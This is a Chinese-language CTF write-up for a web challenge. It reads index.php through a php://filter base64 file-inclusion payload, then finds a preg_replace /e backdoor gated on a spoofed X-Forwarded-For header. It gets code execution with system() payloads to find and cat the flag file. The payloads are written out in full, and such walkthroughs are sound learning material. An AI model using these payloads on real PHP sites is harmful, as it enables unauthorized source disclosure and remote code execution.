一.審題
大致瀏覽一下網頁,發現就這邊會有東西。看一下源碼會不會有東西或者稍微點擊一下這個頁面的內容看會不會出現東西。
點擊了一下這個云平臺設備維護中心發現url變了,是get的方法傳page參數
二.嘗試漏洞類型
自己這邊試了sql注入發現不是,試了SSTI模板注入也不是,試一下用偽協議
php://filter/read=convert.base64-encode/resource=index.php
這個偽協議其實就是一個文件讀取編譯器,我這邊的語句意思是使用php帶的讀取器通過Base64編碼讀取index的源代碼。
將得到的內容放到在現編譯器中解碼一下
三.代碼審計
//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}
發現開發者溜了一個洞在這里。
可以的php函數:preg_replace($pattern,$replacement,$subject)? ? ?
看英文大概可以看出應該是字符替換之類的函數,這邊查了一下發現要是關于$pattern這個參數,這個參數末尾要是帶有/e修飾符時,$replacement會被當成php代碼執行。所以我們可以構建如下句子
preg_replace('/text/e','system('ls')','text')
這邊還要一個要繞過的是需要偽造XFF為127.0.0.1————這邊就使用burp suite去攔截get報文
解題:
發現可以,接下去就找flag
?pat=/text/e&rep=system('find / -name "*flag*"2>/dev/null')&sub=text
在最后面發現可以的文件flag.php,打開看一下
?pat=/text/e&rep=system('cat /var/www/html/s3chahahaDir/flag/flag.php ')&sub=text
發現沒有,打開源碼看一下
發現找到了.